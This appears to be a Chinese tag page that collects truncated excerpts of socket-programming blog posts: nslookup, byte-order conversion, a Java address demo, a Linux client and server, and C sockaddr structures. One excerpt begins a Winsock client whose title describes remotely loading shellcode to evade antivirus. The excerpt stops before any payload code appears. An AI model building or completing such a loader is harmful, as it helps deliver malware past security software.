套接字

如何评测一个软件工程师的计算机网络知识水平与网络编程技能水平?

懵懂的女人 提交于 2020-01-10 19:33:23
网络程序设计知识总结 网络相关工具 在网络相关的命令工具调研中我选取了 nslookup 作为案例。 详细可以参考 我的博客 nslookup作用 nslookup,全称是name server lookup,也就是域名查询。nslookup是一个用于查询Internet域名信息或者诊断DNS服务器问题的工具。 nslookup可以指定查询的类型,能够查询到DNS记录的生存时间,并且还能够在命令中使用参数指定使用哪个DNS服务器进行解释。 在已经安装了TCP/IP协议的电脑上均可以使用这个命令。 总结起来,nslookup命令主要用于查询DNS的记录,查看域名解析是否正常,在网络故障的时候用来诊断网络问题。 nslookup的应用场景 一般来说,我们在一台主机上配置好DNS服务器,添加了相应的记录之后,只要IP地址保持不变,一般情况下我们就不再需要去维护DNS的数据文件了。 不过在确认域名解释正常之前我们最好是测试一下所有的配置是否正常。许多人会简单地使用ping命令检查一下就算了。不过Ping指令只是一个检查网络连通情况的命令,虽然在输入的参数是域名的情况下会通过DNS进行查询,但是它只能查询A类型和CNAME类型的记录,而且只会告诉你域名是否存在,其他的信息一概欠奉。 所以如果你需要对DNS的故障进行排错就必须熟练另一个更强大的工具nslookup。 nslookup命令的使用

套接字(socket)编程简单实现server-client聊天程序

白昼怎懂夜的黑 提交于 2020-01-10 07:10:10
1、socket 在TCP/IP协议中,一个IP地址标识网络通讯中唯一一台主机,而一个IP地址+一个TCP(或UDP)端口号就可以标识网络通讯中的一个进程,此时的IP地址+端口号即称为socket。 内存中的多字节数据相对于内存地址有大小端之分,磁盘文件中的多字节数据相对于文件中的偏移地址也有大小端之分,网络数据流同样也有大小端之分:先发出的数据是低地址,后发出的数据是搞地质,TCP/IP协议规定网络数据流采用大端字节序,即低地址高字节。 1)计算机分为大端机和小端机,那么如何使同样的C代码在大端机和小端机上都能正常运行呢?库函数一节为我们提供了转换的接口: include<arpa/inet.h> unit32_t htonl(unit32_t hostlong);//32位的长整数从主机字节序转换为网络字节序 unit16_t htons(unit16_t hostshort);//16位的短整数从主机字节序转换为网络字节序 unit32_t ntohl(unit32_t netlong);//32位的长整数从网络字节序转换为主机字节序 unit16_t ntohs(unit16_t netshort);//16位的短整数从网络字节序转换为主机字节序 2)由于网络传输是二进制比特流传输

网络编程(套接字)------SocketAddress代表IP地址和端口的类

最后都变了- 提交于 2020-01-10 06:44:00
代码: package cn.tedu.net.address; import java.net.InetSocketAddress; public class InetSocketAddressDemo { public static void main(String[] args) { //创建代表IP地址和端口的类的对象 InetSocketAddress inetSocketAddress=new InetSocketAddress (“localhost”,8090); //localhost映射成的IP地址127.0.0.1 //127.0.0.1永远指向本地 //返回IP地址、主机名(计算机名称)、端口号 System.out.println(inetSocketAddress.getAddress()); System.out.println(inetSocketAddress.getHostName()); System.out.println(inetSocketAddress.getPort()); } } 输出: localhost/127.0.0.1 localhost 8090 代码图: 来源: CSDN 作者: 佳乐一百 链接: https://blog.csdn.net/qq_45453185/article/details/103889064

使用linux套接字实现的简易服务器与客户端

别来无恙 提交于 2020-01-09 20:31:23
【推荐】2019 Java 开发者跳槽指南.pdf(吐血整理) >>> 本文中的代码是我在学习linux套接字编程时写的,运行环境为RedHat,编译环境为G++ 测试环境有两台linux虚拟机,地址分别设为192.168.8.123和192.168.8.99 其中,192.168.8.123上运行了客户端,其源码(client.cpp)为 #include<sys/types.h> //data types #include<sys/socket.h> //main sockets header #include<stdio.h> //standard buffered input/output #include<netinet/in.h> //Internet address family #include<arpa/inet.h> //definitions for internet operations #include<unistd.h> //standard symbolic constants and types #include<stdlib.h> //standard library definitions #include<string.h> //string operions int main() { struct sockaddr_in address; /

远程加载shellcode实现分离免杀

感情迁移 提交于 2020-01-09 13:10:04
客户端: #include <stdio.h> #include <iostream> #include <WinSock2.h> #pragma comment(lib, "ws2_32.lib") //添加ws2_32动态库 #pragma warning(disable:4996) //忽略旧函数使用的警告 using namespace std; int main(int argc, char *argv[]) { const int BUF_SIZE = 1024; WSADATA wsd; //WSADATA变量 SOCKET sHost; // 服务器套接字socket SOCKADDR_IN servAddr; //服务器地址 char buf[BUF_SIZE]; // 存放发送的数据缓冲区 char bufRecv[BUF_SIZE]; //接收收到的数据缓冲区 DWORD dwThreadId; HANDLE hThread; DWORD dwOldProtect; int retVal; // 返回值 if (WSAStartup(MAKEWORD(2, 2), &wsd) != 0) //初始化套结字动态库 { cout << "WSAStartup failed!" << endl; return -1; } sHost = socket(AF_INET

HTTP、BS架构

非 Y 不嫁゛ 提交于 2020-01-08 12:03:07
Django 底层原理 各种形式的web框架 B/S概念 快捷键 方向键 方向键本键如果活动选项是 选项按钮 或文件则为移动焦点; 方向键 + Win键(简称Win键)使窗口全屏、最小化、靠左半边、靠右半边(部分版本不支持); 方向键+Shift键将连续的文字或文件选中 方向键(左右)+Ctrl键 在英文单词或中文词语间跳跃 方向键(上下)+Ctrl键 在段落开头间跳跃 按Home(定位到行首)然后按Shift+End(行尾)或者 然后按Shift+↓ (下一行这个位置) 或者 按End(定位到行尾)然后按Shift+Home ctrl Ctrl+b 粗体 Bold Ctrl+e 居中对齐 Encenter Ctrl+f 查找 Find Ctrl+h 替换 Huan Ctrl+k 超级链接 King Link win Win键+E打开Windows资源管理器Explorer【即我的电脑、计算机】 Win键+R:运行 Win键+Shift+S:Windows 自带截图 win键+PrtScSysRq键 快速截屏 HTTP 超文本传输协议(英文: HyperText Transfer Protocol ,缩写: HTTP )是一种用于分布式、协作式和超媒体信息系统的应用层协议。HTTP是 万维网WEB 的数据通信的基础。 现今广泛使用的一个版本——HTTP 1.1(已更新至2.0)

socket选项 SO_REUSEPORT

自古美人都是妖i 提交于 2020-01-07 12:38:51
【推荐】2019 Java 开发者跳槽指南.pdf(吐血整理) >>> 前言 本篇用于记录学习SO_REUSEPORT的笔记和心得,末尾还会提供一个bindp小工具也能为已有的程序享受这个新的特性。 当前Linux网络应用程序问题 运行在Linux系统上网络应用程序,为了利用多核的优势,一般使用以下比较典型的多进程/多线程服务器模型: 单线程listen/accept,多个工作线程接收任务分发,虽CPU的工作负载不再是问题,但会存在: 单线程listener,在处理高速率海量连接时,一样会成为瓶颈 CPU缓存行丢失套接字结构(socket structure)现象严重 所有工作线程都accept()在同一个服务器套接字上呢,一样存在问题: 多线程访问server socket锁竞争严重 高负载下,线程之间处理不均衡,有时高达3:1不均衡比例 导致CPU缓存行跳跃(cache line bouncing) 在繁忙CPU上存在较大延迟 上面模型虽然可以做到线程和CPU核绑定,但都会存在: 单一listener工作线程在高速的连接接入处理时会成为瓶颈 缓存行跳跃 很难做到CPU之间的负载均衡 随着核数的扩展,性能并没有随着提升 比如HTTP CPS(Connection Per Second)吞吐量并没有随着CPU核数增加呈现线性增长: Linux kernel 3.9带来了SO

Redis设计与实现-事件

梦想的初衷 提交于 2020-01-07 01:54:53
【推荐】2019 Java 开发者跳槽指南.pdf(吐血整理) >>> 上一篇: Redis设计与实现-AOF持久化 前面将了Redis的底层数据结构与数据库相关知识,知道了5种数据类型在不同情况下采用何种数据结构,知道了数据库的基本框架以及它的一些特性,比如过期策略;知道了RDB和AOF持久化技术。接下来开始了解Redis是如何从客户端接收请求-执行请求-返回处理结果 概要 Redis是一个由事件驱动的程序,比如建立请求连接、执行命令等,所有的事件分为两种类型:文件事件和时间事件 接下来通常会先想到文件事件到底那些喃?但其实应该先想想Redis既然定义了事件,那他如何识别、接收、传递这些事件,因此得先看看Redis基于Reactor模式设计的网络事件处理器 但是在介绍Redis的网路事件处理器之前得先准备点知识。 准备知识点 什么是Reactor 摘抄自: https://www.jianshu.com/p/eef7ebe28673https://www.jianshu.com/p/eef7ebe28673 reactor设计模式是event-driven architecture的一种实现方式,处理多个客户端并发的向服务端请求服务的场景。每种服务在服务端可能由多个方法组成。reactor会解耦并发请求的服务并分发给对应的事件处理器来处理。目前

Socket 套接字

雨燕双飞 提交于 2020-01-06 22:04:52
1.客户端 /** * 聊天室客户端 */ public class Client { /* * java.net.Socket 套接字 * Socket封装了TCP协议传输数据的细节,使得我们可以通过两条流的读写完成与远端计算 * 机的数据交互 */ private Socket socket; /** * 构造方法,用来初始化客户端 */ public Client() { try { /* * 实例化Socket的过程就是连接服务端的过程. * 参数1:服务端的IP地址 * 参数2:服务端程序打开的端口 * * 我们通过IP可以找到网络上的服务端所在计算机,通过端口可以找到该计算机上运行 * 的服务端应用程序从而建立连接. */ System.out.println("正在连接服务端..."); socket = new Socket("localhost",8088); System.out.println("已连接服务端!"); } catch (Exception e) { e.printStackTrace(); } } /** * 客户端开始工作的方法 */ public void start() { try { Scanner scanner = new Scanner(System.in); /* * Socket提供的方法: * OutputStream

【Unix网络编程】chapter3套接字编程简介

放肆的年华 提交于 2020-01-06 04:20:42
chapter3套接字编程简介 3.1 概述 地址转换函数在地址的文本表达和他们存放在套接字地址结构中的二进制值之间进行转换。多数现存的IPv4代码使用inet_addr和inet_ntoa这两个函数,不过这两个新函数inet_pton和inet_ntop同时适用于IPv4和IPv6. 3.2 套接字地址结构   sockaddr_    3.2.1 IPv4套接字地址结构 IPv4套接字地址结构通常也称为"网际套接字地址结构",它以sockaddr_in命令,定义在<netinet/in.h>头文件中 struct in_addr { in_addr_t s_addr; }; struct sockaddr_in { uint8_t sin_len; sa_family sin_family; in_port_t sin_port; struct in_addr sin_addr; char sin_zero[8]; } 3.2.2 通用套接字地址结构 #include <sys/socket.h> struct sockaddr { uint8_t sa_len; sa_family_t sa_family; char sa_data[14]; }; eg:int bind(int, struct sockaddr *, socklen_t_); struct sockaddr